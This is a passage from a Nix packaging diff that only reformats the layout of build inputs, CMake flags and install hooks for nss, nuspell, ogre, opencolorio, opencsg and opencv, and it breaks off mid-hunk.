-          "--with-nspr=${nspr.dev}/include:${nspr.out}/lib"
-          "--system-sqlite"
-          "--enable-legacy-db"
-          "--target ${target}"
-          "-Dhost_arch=${host}"
-          "-Duse_system_zlib=1"
-          "--enable-libpkix"
-          "-j"
-          "$NIX_BUILD_CORES"
-        ]
-        ++ lib.optional enableFIPS "--enable-fips"
-        ++ lib.optional stdenv.hostPlatform.isDarwin "--clang"
-        ++ lib.optionals (target_system != stdenv.buildPlatform.uname.system) [
-          "-DOS=${target_system}"
-        ]
-        ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-          "--disable-tests"
-        ];
+      buildFlags = [
+        "-v"
+        "--opt"
+        "--with-nspr=${nspr.dev}/include:${nspr.out}/lib"
+        "--system-sqlite"
+        "--enable-legacy-db"
+        "--target ${target}"
+        "-Dhost_arch=${host}"
+        "-Duse_system_zlib=1"
+        "--enable-libpkix"
+        "-j"
+        "$NIX_BUILD_CORES"
+      ]
+      ++ lib.optional enableFIPS "--enable-fips"
+      ++ lib.optional stdenv.hostPlatform.isDarwin "--clang"
+      ++ lib.optionals (target_system != stdenv.buildPlatform.uname.system) [
+        "-DOS=${target_system}"
+      ]
+      ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+        "--disable-tests"
+      ];
     in
     ''
       runHook preBuild
diff --git a/pkgs/development/libraries/nuspell/default.nix b/pkgs/development/libraries/nuspell/default.nix
index 92a9a6b0e399..c8c676c27d04 100644
--- a/pkgs/development/libraries/nuspell/default.nix
+++ b/pkgs/development/libraries/nuspell/default.nix
@@ -21,26 +21,24 @@ stdenv.mkDerivation rec {
     hash = "sha256-U/lHSxpKsBnamf4ikE2aIjEPSU5fxjtuSmhZR0jxMAI=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals enableManpages [
-      buildPackages.pandoc
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals enableManpages [
+    buildPackages.pandoc
+  ];
 
   buildInputs = [ catch2_3 ];
 
   propagatedBuildInputs = [ icu ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_TESTING=YES"
-    ]
-    ++ lib.optionals (!enableManpages) [
-      "-DBUILD_DOCS=OFF"
-    ];
+  cmakeFlags = [
+    "-DBUILD_TESTING=YES"
+  ]
+  ++ lib.optionals (!enableManpages) [
+    "-DBUILD_DOCS=OFF"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/development/libraries/ogre/default.nix b/pkgs/development/libraries/ogre/default.nix
index 6b473fcf1b85..b73a6fe19b0a 100644
--- a/pkgs/development/libraries/ogre/default.nix
+++ b/pkgs/development/libraries/ogre/default.nix
@@ -71,43 +71,41 @@ let
         unzip
       ];
 
-      buildInputs =
-        [
-          SDL2
-          boost
-          freetype
-          libpng
-          ois
-          pugixml
-          zziplib
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          libglut
-          libGL
-          libGLU
-          libICE
-          libSM
-          libX11
-          libXaw
-          libXmu
-          libXrandr
-          libXrender
-          libXt
-          libXxf86vm
-          xorgproto
-        ]
-        ++ lib.optionals withNvidiaCg [
-          nvidia_cg_toolkit
-        ];
+      buildInputs = [
+        SDL2
+        boost
+        freetype
+        libpng
+        ois
+        pugixml
+        zziplib
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        libglut
+        libGL
+        libGLU
+        libICE
+        libSM
+        libX11
+        libXaw
+        libXmu
+        libXrandr
+        libXrender
+        libXt
+        libXxf86vm
+        xorgproto
+      ]
+      ++ lib.optionals withNvidiaCg [
+        nvidia_cg_toolkit
+      ];
 
-      cmakeFlags =
-        [
-          (lib.cmakeBool "OGRE_BUILD_DEPENDENCIES" false)
-          (lib.cmakeBool "OGRE_BUILD_SAMPLES" withSamples)
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          (lib.cmakeBool "OGRE_BUILD_LIBS_AS_FRAMEWORKS" false)
-        ];
+      cmakeFlags = [
+        (lib.cmakeBool "OGRE_BUILD_DEPENDENCIES" false)
+        (lib.cmakeBool "OGRE_BUILD_SAMPLES" withSamples)
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        (lib.cmakeBool "OGRE_BUILD_LIBS_AS_FRAMEWORKS" false)
+      ];
 
       meta = {
         description = "3D Object-Oriented Graphics Rendering Engine";
diff --git a/pkgs/development/libraries/opencolorio/1.x.nix b/pkgs/development/libraries/opencolorio/1.x.nix
index c91fee14ed23..4dc42994f6b7 100644
--- a/pkgs/development/libraries/opencolorio/1.x.nix
+++ b/pkgs/development/libraries/opencolorio/1.x.nix
@@ -37,25 +37,25 @@ stdenv.mkDerivation (finalAtts: {
   buildInputs = [
     lcms2
     tinyxml
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin boost;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin boost;
 
   postPatch = ''
     substituteInPlace src/core/CMakeLists.txt --replace "-Werror" ""
     substituteInPlace src/pyglue/CMakeLists.txt --replace "-Werror" ""
   '';
 
-  cmakeFlags =
-    [
-      "-DUSE_EXTERNAL_LCMS=ON"
-      "-DUSE_EXTERNAL_TINYXML=ON"
-      # External yaml-cpp 0.6.* not compatible: https://github.com/imageworks/OpenColorIO/issues/517
-      "-DUSE_EXTERNAL_YAML=OFF"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-DOCIO_USE_BOOST_PTR=ON"
-    ++ lib.optional (!stdenv.hostPlatform.isx86) "-DOCIO_USE_SSE=OFF"
-    ++ lib.optional (
-      stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
-    ) "-DCMAKE_OSX_ARCHITECTURES=arm64";
+  cmakeFlags = [
+    "-DUSE_EXTERNAL_LCMS=ON"
+    "-DUSE_EXTERNAL_TINYXML=ON"
+    # External yaml-cpp 0.6.* not compatible: https://github.com/imageworks/OpenColorIO/issues/517
+    "-DUSE_EXTERNAL_YAML=OFF"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DOCIO_USE_BOOST_PTR=ON"
+  ++ lib.optional (!stdenv.hostPlatform.isx86) "-DOCIO_USE_SSE=OFF"
+  ++ lib.optional (
+    stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
+  ) "-DCMAKE_OSX_ARCHITECTURES=arm64";
 
   env = lib.optionalAttrs stdenv.cc.isClang {
     # yaml-cpp uses std::auto_ptr and std::binary_function which has
diff --git a/pkgs/development/libraries/opencolorio/default.nix b/pkgs/development/libraries/opencolorio/default.nix
index 61e1d24ab3dc..5c8c5362198c 100644
--- a/pkgs/development/libraries/opencolorio/default.nix
+++ b/pkgs/development/libraries/opencolorio/default.nix
@@ -46,38 +46,36 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ cmake ] ++ lib.optionals pythonBindings [ python3Packages.python ];
-  buildInputs =
-    [
-      expat
-      yaml-cpp
-      pystring
-      imath
-      minizip-ng
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glew
-      libglut
-    ]
-    ++ lib.optionals pythonBindings [
-      python3Packages.python
-      python3Packages.pybind11
-    ]
-    ++ lib.optionals buildApps [
-      lcms2
-      openexr
-    ];
+  buildInputs = [
+    expat
+    yaml-cpp
+    pystring
+    imath
+    minizip-ng
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glew
+    libglut
+  ]
+  ++ lib.optionals pythonBindings [
+    python3Packages.python
+    python3Packages.pybind11
+  ]
+  ++ lib.optionals buildApps [
+    lcms2
+    openexr
+  ];
 
-  cmakeFlags =
-    [
-      "-DOCIO_INSTALL_EXT_PACKAGES=NONE"
-      "-DOCIO_USE_SSE2NEON=OFF"
-      # GPU test fails with: libglut (GPU tests): failed to open display ''
-      "-DOCIO_BUILD_GPU_TESTS=OFF"
-      "-Dminizip-ng_INCLUDE_DIR=${minizip-ng}/include/minizip-ng"
-    ]
-    ++ lib.optional (!pythonBindings) "-DOCIO_BUILD_PYTHON=OFF"
-    ++ lib.optional (!buildApps) "-DOCIO_BUILD_APPS=OFF";
+  cmakeFlags = [
+    "-DOCIO_INSTALL_EXT_PACKAGES=NONE"
+    "-DOCIO_USE_SSE2NEON=OFF"
+    # GPU test fails with: libglut (GPU tests): failed to open display ''
+    "-DOCIO_BUILD_GPU_TESTS=OFF"
+    "-Dminizip-ng_INCLUDE_DIR=${minizip-ng}/include/minizip-ng"
+  ]
+  ++ lib.optional (!pythonBindings) "-DOCIO_BUILD_PYTHON=OFF"
+  ++ lib.optional (!buildApps) "-DOCIO_BUILD_APPS=OFF";
 
   # precision issues on non-x86
   doCheck = stdenv.hostPlatform.isx86_64;
diff --git a/pkgs/development/libraries/opencsg/default.nix b/pkgs/development/libraries/opencsg/default.nix
index df7ef53e02f5..06d36ddbb693 100644
--- a/pkgs/development/libraries/opencsg/default.nix
+++ b/pkgs/development/libraries/opencsg/default.nix
@@ -23,16 +23,17 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ qmake ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
-  buildInputs =
-    [ glew ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      libGL
-      libglut
-      libXmu
-      libXext
-      libX11
-    ];
+  buildInputs = [
+    glew
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    libGL
+    libglut
+    libXmu
+    libXext
+    libX11
+  ];
 
   doCheck = false;
 
@@ -41,15 +42,14 @@ stdenv.mkDerivation rec {
     qmakeFlags=("''${qmakeFlags[@]}" "INSTALLDIR=$out")
   '';
 
-  postInstall =
-    ''
-      install -D copying.txt "$out/share/doc/opencsg/copying.txt"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      mv $out/bin/*.app $out/Applications
-      rmdir $out/bin || true
-    '';
+  postInstall = ''
+    install -D copying.txt "$out/share/doc/opencsg/copying.txt"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    mv $out/bin/*.app $out/Applications
+    rmdir $out/bin || true
+  '';
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index df0633b615a0..148c7350b931 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -282,14 +282,13 @@ effectiveStdenv.mkDerivation {
   pname = "opencv";
   inherit version src;
 
-  outputs =
-    [
-      "out"
-      "cxxdev"
-    ]
-    ++ optionals (runAccuracyTests || runPerformanceTests) [
-      "package_tests"
-    ];
+  outputs = [
+    "out"
+    "cxxdev"
+  ]
+  ++ optionals (runAccuracyTests || runPerformanceTests) [
+    "package_tests"
+  ];
   cudaPropagateToOutput = "cxxdev";
 
   postUnpack = optionalString buildContrib ''
@@ -297,13 +296,12 @@ effectiveStdenv.mkDerivation {
   '';
 
   # Ensures that we use the system OpenEXR rather than the vendored copy of the source included with OpenCV.
-  patches =
-    [
-      ./cmake-don-t-use-OpenCVFindOpenEXR.patch
-    ]
-    ++ optionals enableCuda [
-      ./cuda_opt_flow.patch
-    ];
+  patches = [
+    ./cmake-don-t-use-OpenCVFindOpenEXR.patch
+  ]
+  ++ optionals enableCuda [
+    ./cuda_opt_flow.patch
+  ];
 
   # This prevents cmake from using libraries in impure paths (which
   # causes build failure on non NixOS)
@@ -328,222 +326,219 @@ effectiveStdenv.mkDerivation {
     echo '"(build info elided)"' > modules/core/version_string.inc
   '';
 
-  buildInputs =
-    [
-      boost
-      gflags
-      glib
-      glog
-      pcre2
-      protobuf_21
-      zlib
-    ]
-    ++ optionals enablePython [
-      pythonPackages.python
-    ]
-    ++ optionals (effectiveStdenv.buildPlatform == effectiveStdenv.hostPlatform) [
-      hdf5
-    ]
-    ++ optionals enableGtk2 [
-      gtk2
-    ]
-    ++ optionals enableGtk3 [
-      gtk3
-    ]
-    ++ optionals enableVtk [
-      vtk
-    ]
-    ++ optionals enableJPEG [
-      libjpeg
-    ]
-    ++ optionals enablePNG [
-      libpng
-    ]
-    ++ optionals enableTIFF [
-      libtiff
-    ]
-    ++ optionals enableWebP [
-      libwebp
-    ]
-    ++ optionals enableEXR [
-      openexr
-    ]
-    ++ optionals enableJPEG2000 [
-      openjpeg
-    ]
-    ++ optionals enableFfmpeg [
-      ffmpeg
-    ]
-    ++ optionals (enableGStreamer && effectiveStdenv.hostPlatform.isLinux) [
-      elfutils
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gstreamer
-      libunwind
-      orc
-      zstd
-    ]
-    ++ optionals enableOvis [
-      ogre
-    ]
-    ++ optionals enableGPhoto2 [
-      libgphoto2
-    ]
-    ++ optionals enableDC1394 [
-      libdc1394
-    ]
-    ++ optionals enableEigen [
-      eigen
-    ]
-    ++ optionals enableVA [
-      libva
-    ]
-    ++ optionals enableBlas [
-      blas.provider
-    ]
-    ++ optionals enableTesseract [
-      # There is seemingly no compile-time flag for Tesseract.  It's
-      # simply enabled automatically if contrib is built, and it detects
-      # tesseract & leptonica.
-      tesseract
-      leptonica
-    ]
-    ++ optionals enableTbb [
-      tbb
-    ]
-    ++ optionals effectiveStdenv.hostPlatform.isDarwin [
-      bzip2
-    ]
-    ++ optionals enableDocs [
-      doxygen
-      graphviz-nox
-    ]
-    ++ optionals enableCuda [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_cccl # <thrust/*>
-      cudaPackages.libnpp # npp.h
-      nvidia-optical-flow-sdk
-    ]
-    ++ optionals enableCublas [
-      # May start using the default $out instead once
-      # https://github.com/NixOS/nixpkgs/issues/271792
-      # has been addressed
-      cudaPackages.libcublas # cublas_v2.h
-    ]
-    ++ optionals enableCudnn [
-      cudaPackages.cudnn # cudnn.h
-    ]
-    ++ optionals enableCufft [
-      cudaPackages.libcufft # cufft.h
-    ];
+  buildInputs = [
+    boost
+    gflags
+    glib
+    glog
+    pcre2
+    protobuf_21
+    zlib
+  ]
+  ++ optionals enablePython [
+    pythonPackages.python
+  ]
+  ++ optionals (effectiveStdenv.buildPlatform == effectiveStdenv.hostPlatform) [
+    hdf5
+  ]
+  ++ optionals enableGtk2 [
+    gtk2
+  ]
+  ++ optionals enableGtk3 [
+    gtk3
+  ]
+  ++ optionals enableVtk [
+    vtk
+  ]
+  ++ optionals enableJPEG [
+    libjpeg
+  ]
+  ++ optionals enablePNG [
+    libpng
+  ]
+  ++ optionals enableTIFF [
+    libtiff
+  ]
+  ++ optionals enableWebP [
+    libwebp
+  ]
+  ++ optionals enableEXR [
+    openexr
+  ]
+  ++ optionals enableJPEG2000 [
+    openjpeg
+  ]
+  ++ optionals enableFfmpeg [
+    ffmpeg
+  ]
+  ++ optionals (enableGStreamer && effectiveStdenv.hostPlatform.isLinux) [
+    elfutils
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gstreamer
+    libunwind
+    orc
+    zstd
+  ]
+  ++ optionals enableOvis [
+    ogre
+  ]
+  ++ optionals enableGPhoto2 [
+    libgphoto2
+  ]
+  ++ optionals enableDC1394 [
+    libdc1394
+  ]
+  ++ optionals enableEigen [
+    eigen
+  ]
+  ++ optionals enableVA [
+    libva
+  ]
+  ++ optionals enableBlas [
+    blas.provider
+  ]
+  ++ optionals enableTesseract [
+    # There is seemingly no compile-time flag for Tesseract.  It's
+    # simply enabled automatically if contrib is built, and it detects
+    # tesseract & leptonica.
+    tesseract
+    leptonica
+  ]
+  ++ optionals enableTbb [
+    tbb
+  ]
+  ++ optionals effectiveStdenv.hostPlatform.isDarwin [
+    bzip2
+  ]
+  ++ optionals enableDocs [
+    doxygen
+    graphviz-nox
+  ]
+  ++ optionals enableCuda [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_cccl # <thrust/*>
+    cudaPackages.libnpp # npp.h
+    nvidia-optical-flow-sdk
+  ]
+  ++ optionals enableCublas [
+    # May start using the default $out instead once
+    # https://github.com/NixOS/nixpkgs/issues/271792
+    # has been addressed
+    cudaPackages.libcublas # cublas_v2.h
+  ]
+  ++ optionals enableCudnn [
+    cudaPackages.cudnn # cudnn.h
+  ]
+  ++ optionals enableCufft [
+    cudaPackages.libcufft # cufft.h
+  ];
 
   propagatedBuildInputs = optionals enablePython [ pythonPackages.numpy ];
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    unzip
+  ]
+  ++ optionals enablePython (
     [
-      cmake
-      pkg-config
-      unzip
+      pythonPackages.pip
+      pythonPackages.wheel
+      pythonPackages.setuptools
     ]
-    ++ optionals enablePython (
-      [
-        pythonPackages.pip
-        pythonPackages.wheel
-        pythonPackages.setuptools
-      ]
-      ++ optionals (effectiveStdenv.hostPlatform == effectiveStdenv.buildPlatform) [
-        pythonPackages.pythonImportsCheckHook
-      ]
-    )
-    ++ optionals enableCuda [
-      cudaPackages.cuda_nvcc
-    ];
+    ++ optionals (effectiveStdenv.hostPlatform == effectiveStdenv.buildPlatform) [
+      pythonPackages.pythonImportsCheckHook
+    ]
+  )
+  ++ optionals enableCuda [
+    cudaPackages.cuda_nvcc
+  ];
 
   # Configure can't find the library without this.
   OpenBLAS_HOME = optionalString withOpenblas openblas_.dev;
   OpenBLAS = optionalString withOpenblas openblas_;
 
-  cmakeFlags =
-    [
-      (cmakeBool "OPENCV_GENERATE_PKGCONFIG" true)
-      (cmakeBool "WITH_OPENMP" true)
-      (cmakeBool "BUILD_PROTOBUF" false)
-      (cmakeBool "WITH_PROTOBUF" true)
-      (cmakeBool "PROTOBUF_UPDATE_FILES" true)
-      (cmakeBool "OPENCV_ENABLE_NONFREE" enableUnfree)
-      (cmakeBool "BUILD_TESTS" runAccuracyTests)
-      (cmakeBool "BUILD_PERF_TESTS" runPerformanceTests)
-      (cmakeBool "CMAKE_SKIP_BUILD_RPATH" true)
-      (cmakeBool "BUILD_DOCS" enableDocs)
-      # "OpenCV disables pkg-config to avoid using of host libraries. Consider using PKG_CONFIG_LIBDIR to specify target SYSROOT"
-      # but we have proper separation of build and host libs :), fixes cross
-      (cmakeBool "OPENCV_ENABLE_PKG_CONFIG" true)
-      (cmakeBool "WITH_IPP" enableIpp)
-      (cmakeBool "WITH_TIFF" enableTIFF)
-      (cmakeBool "WITH_WEBP" enableWebP)
-      (cmakeBool "WITH_JPEG" enableJPEG)
-      (cmakeBool "WITH_PNG" enablePNG)
-      (cmakeBool "WITH_OPENEXR" enableEXR)
-      (cmakeBool "WITH_OPENJPEG" enableJPEG2000)
-      (cmakeBool "WITH_JASPER" false) # OpenCV falls back to a vendored copy of Jasper when OpenJPEG is disabled
-      (cmakeBool "WITH_TBB" enableTbb)
+  cmakeFlags = [
+    (cmakeBool "OPENCV_GENERATE_PKGCONFIG" true)
+    (cmakeBool "WITH_OPENMP" true)
+    (cmakeBool "BUILD_PROTOBUF" false)
+    (cmakeBool "WITH_PROTOBUF" true)
+    (cmakeBool "PROTOBUF_UPDATE_FILES" true)
+    (cmakeBool "OPENCV_ENABLE_NONFREE" enableUnfree)
+    (cmakeBool "BUILD_TESTS" runAccuracyTests)
+    (cmakeBool "BUILD_PERF_TESTS" runPerformanceTests)
+    (cmakeBool "CMAKE_SKIP_BUILD_RPATH" true)
+    (cmakeBool "BUILD_DOCS" enableDocs)
+    # "OpenCV disables pkg-config to avoid using of host libraries. Consider using PKG_CONFIG_LIBDIR to specify target SYSROOT"
+    # but we have proper separation of build and host libs :), fixes cross
+    (cmakeBool "OPENCV_ENABLE_PKG_CONFIG" true)
+    (cmakeBool "WITH_IPP" enableIpp)
+    (cmakeBool "WITH_TIFF" enableTIFF)
+    (cmakeBool "WITH_WEBP" enableWebP)
+    (cmakeBool "WITH_JPEG" enableJPEG)
+    (cmakeBool "WITH_PNG" enablePNG)
+    (cmakeBool "WITH_OPENEXR" enableEXR)
+    (cmakeBool "WITH_OPENJPEG" enableJPEG2000)
+    (cmakeBool "WITH_JASPER" false) # OpenCV falls back to a vendored copy of Jasper when OpenJPEG is disabled
+    (cmakeBool "WITH_TBB" enableTbb)
 
-      # CUDA options
-      (cmakeBool "WITH_CUDA" enableCuda)
-      (cmakeBool "WITH_CUBLAS" enableCublas)
-      (cmakeBool "WITH_CUDNN" enableCudnn)
-      (cmakeBool "WITH_CUFFT" enableCufft)
+    # CUDA options
+    (cmakeBool "WITH_CUDA" enableCuda)
+    (cmakeBool "WITH_CUBLAS" enableCublas)
+    (cmakeBool "WITH_CUDNN" enableCudnn)
+    (cmakeBool "WITH_CUFFT" enableCufft)
 
-      # LTO options
-      (cmakeBool "ENABLE_LTO" enableLto)
-      (cmakeBool "ENABLE_THIN_LTO" (
-        enableLto
-        && (
-          # Only clang supports thin LTO, so we must either be using clang through the effectiveStdenv,
-          effectiveStdenv.cc.isClang
-          ||
-            # or through the backend effectiveStdenv.
-            (enableCuda && effectiveStdenv.cc.isClang)
-        )
-      ))
-    ]
-    ++ optionals enableCuda [
-      (cmakeBool "CUDA_FAST_MATH" true)
-      (cmakeFeature "CUDA_NVCC_FLAGS" "--expt-relaxed-constexpr")
+    # LTO options
+    (cmakeBool "ENABLE_LTO" enableLto)
+    (cmakeBool "ENABLE_THIN_LTO" (
+      enableLto
+      && (
+        # Only clang supports thin LTO, so we must either be using clang through the effectiveStdenv,
+        effectiveStdenv.cc.isClang
+        ||
+          # or through the backend effectiveStdenv.
+          (enableCuda && effectiveStdenv.cc.isClang)
+      )
+    ))
+  ]
+  ++ optionals enableCuda [
+    (cmakeBool "CUDA_FAST_MATH" true)
+    (cmakeFeature "CUDA_NVCC_FLAGS" "--expt-relaxed-constexpr")
 
-      # OpenCV respects at least three variables:
-      # -DCUDA_GENERATION takes a single arch name, e.g. Volta
-      # -DCUDA_ARCH_BIN takes a semi-colon separated list of real arches, e.g. "8.0;8.6"
-      # -DCUDA_ARCH_PTX takes the virtual arch, e.g. "8.6"
-      (cmakeFeature "CUDA_ARCH_BIN" cmakeCudaArchitecturesString)
-      (cmakeFeature "CUDA_ARCH_PTX" (last cudaCapabilities))
+    # OpenCV respects at least three variables:
+    # -DCUDA_GENERATION takes a single arch name, e.g. Volta
+    # -DCUDA_ARCH_BIN takes a semi-colon separated list of real arches, e.g. "8.0;8.6"
+    # -DCUDA_ARCH_PTX takes the virtual arch, e.g. "8.6"
+    (cmakeFeature "CUDA_ARCH_BIN" cmakeCudaArchitecturesString)
+    (cmakeFeature "CUDA_ARCH_PTX" (last cudaCapabilities))
 
-      (cmakeOptionType "path" "NVIDIA_OPTICAL_FLOW_2_0_HEADERS_PATH" nvidia-optical-flow-sdk.outPath)
-    ]
-    ++ optionals effectiveStdenv.hostPlatform.isDarwin [
-      (cmakeBool "WITH_OPENCL" false)
-      (cmakeBool "WITH_LAPACK" false)
+    (cmakeOptionType "path" "NVIDIA_OPTICAL_FLOW_2_0_HEADERS_PATH" nvidia-optical-flow-sdk.outPath)
+  ]
+  ++ optionals effectiveStdenv.hostPlatform.isDarwin [
+    (cmakeBool "WITH_OPENCL" false)
+    (cmakeBool "WITH_LAPACK" false)
 
-      # Disable unnecessary vendoring that's enabled by default only for Darwin.
-      # Note that the opencvFlag feature flags listed above still take
-      # precedence, so we can safely list everything here.
-      (cmakeBool "BUILD_ZLIB" false)
-      (cmakeBool "BUILD_TIFF" false)
-      (cmakeBool "BUILD_OPENJPEG" false)
-      (cmakeBool "BUILD_JASPER" false)
-      (cmakeBool "BUILD_JPEG" false)
-      (cmakeBool "BUILD_PNG" false)
-      (cmakeBool "BUILD_WEBP" false)
-    ]
-    ++ optionals (!effectiveStdenv.hostPlatform.isDarwin) [
-      (cmakeOptionType "path" "OPENCL_LIBRARY" "${ocl-icd}/lib/libOpenCL.so")
-    ]
-    ++ optionals enablePython [
-      (cmakeOptionType "path" "OPENCV_PYTHON_INSTALL_PATH" pythonPackages.python.sitePackages)
-    ]
-    ++ optionals (enabledModules != [ ]) [
-      (cmakeFeature "BUILD_LIST" (concatStringsSep "," enabledModules))
-    ];
+    # Disable unnecessary vendoring that's enabled by default only for Darwin.
+    # Note that the opencvFlag feature flags listed above still take
+    # precedence, so we can safely list everything here.
+    (cmakeBool "BUILD_ZLIB" false)
+    (cmakeBool "BUILD_TIFF" false)
+    (cmakeBool "BUILD_OPENJPEG" false)
+    (cmakeBool "BUILD_JASPER" false)
+    (cmakeBool "BUILD_JPEG" false)
+    (cmakeBool "BUILD_PNG" false)
+    (cmakeBool "BUILD_WEBP" false)
+  ]
+  ++ optionals (!effectiveStdenv.hostPlatform.isDarwin) [
+    (cmakeOptionType "path" "OPENCL_LIBRARY" "${ocl-icd}/lib/libOpenCL.so")
+  ]
+  ++ optionals enablePython [
+    (cmakeOptionType "path" "OPENCV_PYTHON_INSTALL_PATH" pythonPackages.python.sitePackages)
+  ]
+  ++ optionals (enabledModules != [ ]) [
+    (cmakeFeature "BUILD_LIST" (concatStringsSep "," enabledModules))
+  ];
 
   postBuild = optionalString enableDocs ''
     make doxygen
@@ -573,40 +568,39 @@ effectiveStdenv.mkDerivation {
   # Note that ${exec_prefix} is set to $out but that $out is also appended to
   # ${exec_prefix}. This causes linker errors in downstream packages so we strip
   # of $out after the ${exec_prefix} and ${prefix} prefixes:
-  postInstall =
-    ''
-      sed -i "s|{exec_prefix}/$out|{exec_prefix}|;s|{prefix}/$out|{prefix}|" \
-        "$out/lib/pkgconfig/opencv4.pc"
-      mkdir "$cxxdev"
-    ''
-    # fix deps not propagating from opencv4.cxxdev if cuda is disabled
-    # see https://github.com/NixOS/nixpkgs/issues/276691
-    + optionalString (!enableCuda) ''
-      mkdir -p "$cxxdev/nix-support"
-      echo "''${!outputDev}" >> "$cxxdev/nix-support/propagated-build-inputs"
-    ''
-    # remove the requirement that the exact same version of CUDA is used in packages
-    # consuming OpenCV's CMakes files
-    + optionalString enableCuda ''
-      substituteInPlace "$out/lib/cmake/opencv4/OpenCVConfig.cmake" \
-        --replace-fail \
-          'find_host_package(CUDA ''${OpenCV_CUDA_VERSION} EXACT REQUIRED)' \
-          'find_host_package(CUDAToolkit REQUIRED)' \
-        --replace-fail \
-          'message(FATAL_ERROR "OpenCV static library was compiled with CUDA' \
-          'message("OpenCV static library was compiled with CUDA'
-    ''
-    # install python distribution information, so other packages can `import opencv`
-    + optionalString enablePython ''
-      pushd $NIX_BUILD_TOP/$sourceRoot/modules/python/package
-      python -m pip wheel --verbose --no-index --no-deps --no-clean --no-build-isolation --wheel-dir dist .
+  postInstall = ''
+    sed -i "s|{exec_prefix}/$out|{exec_prefix}|;s|{prefix}/$out|{prefix}|" \
+      "$out/lib/pkgconfig/opencv4.pc"
+    mkdir "$cxxdev"
+  ''
+  # fix deps not propagating from opencv4.cxxdev if cuda is disabled
+  # see https://github.com/NixOS/nixpkgs/issues/276691
+  + optionalString (!enableCuda) ''
+    mkdir -p "$cxxdev/nix-support"
+    echo "''${!outputDev}" >> "$cxxdev/nix-support/propagated-build-inputs"
+  ''
+  # remove the requirement that the exact same version of CUDA is used in packages
+  # consuming OpenCV's CMakes files
+  + optionalString enableCuda ''
+    substituteInPlace "$out/lib/cmake/opencv4/OpenCVConfig.cmake" \
+      --replace-fail \
+        'find_host_package(CUDA ''${OpenCV_CUDA_VERSION} EXACT REQUIRED)' \
+        'find_host_package(CUDAToolkit REQUIRED)' \
+      --replace-fail \
+        'message(FATAL_ERROR "OpenCV static library was compiled with CUDA' \
+        'message("OpenCV static library was compiled with CUDA'
+  ''
+  # install python distribution information, so other packages can `import opencv`
+  + optionalString enablePython ''
+    pushd $NIX_BUILD_TOP/$sourceRoot/modules/python/package
+    python -m pip wheel --verbose --no-index --no-deps --no-clean --no-build-isolation --wheel-dir dist .
 
-      pushd dist
-      python -m pip install ./*.whl --no-index --no-warn-script-location --prefix="$out" --no-cache
+    pushd dist
+    python -m pip install ./*.whl --no-index --no-warn-script-location --prefix="$out" --no-cache
 
-      popd
-      popd
-    '';
+    popd
+    popd
+  '';
 
   pythonImportsCheck = [
     "cv2"
@@ -616,32 +610,32 @@ effectiveStdenv.mkDerivation {
   passthru = {
     cudaSupport = enableCuda;
 
-    tests =
-      {
-        inherit (gst_all_1) gst-plugins-bad;
-      }
-      // optionalAttrs (!effectiveStdenv.hostPlatform.isDarwin) {
-        inherit qimgv;
-        withIpp = opencv4.override { enableIpp = true; };
-      }
-      // optionalAttrs (!enablePython) { pythonEnabled = pythonPackages.opencv4; }
-      // optionalAttrs (effectiveStdenv.buildPlatform != "x86_64-darwin") {
-        opencv4-tests = callPackage ./tests.nix {
-          inherit
-            enableGStreamer
-            enableGtk2
-            enableGtk3
-            runAccuracyTests
-            runPerformanceTests
-            testDataSrc
-            ;
-          inherit opencv4;
-        };
-      }
-      // optionalAttrs (enableCuda) {
-        no-libstdcxx-errors = callPackage ./libstdcxx-test.nix { attrName = "opencv4"; };
+    tests = {
+      inherit (gst_all_1) gst-plugins-bad;
+    }
+    // optionalAttrs (!effectiveStdenv.hostPlatform.isDarwin) {
+      inherit qimgv;
+      withIpp = opencv4.override { enableIpp = true; };
+    }
+    // optionalAttrs (!enablePython) { pythonEnabled = pythonPackages.opencv4; }
+    // optionalAttrs (effectiveStdenv.buildPlatform != "x86_64-darwin") {
+      opencv4-tests = callPackage ./tests.nix {
+        inherit
+          enableGStreamer
+          enableGtk2
+          enableGtk3
+          runAccuracyTests
+          runPerformanceTests
+          testDataSrc
+          ;
+        inherit opencv4;
       };
-  } // optionalAttrs enablePython { pythonPath = [ ]; };
+    }
+    // optionalAttrs (enableCuda) {
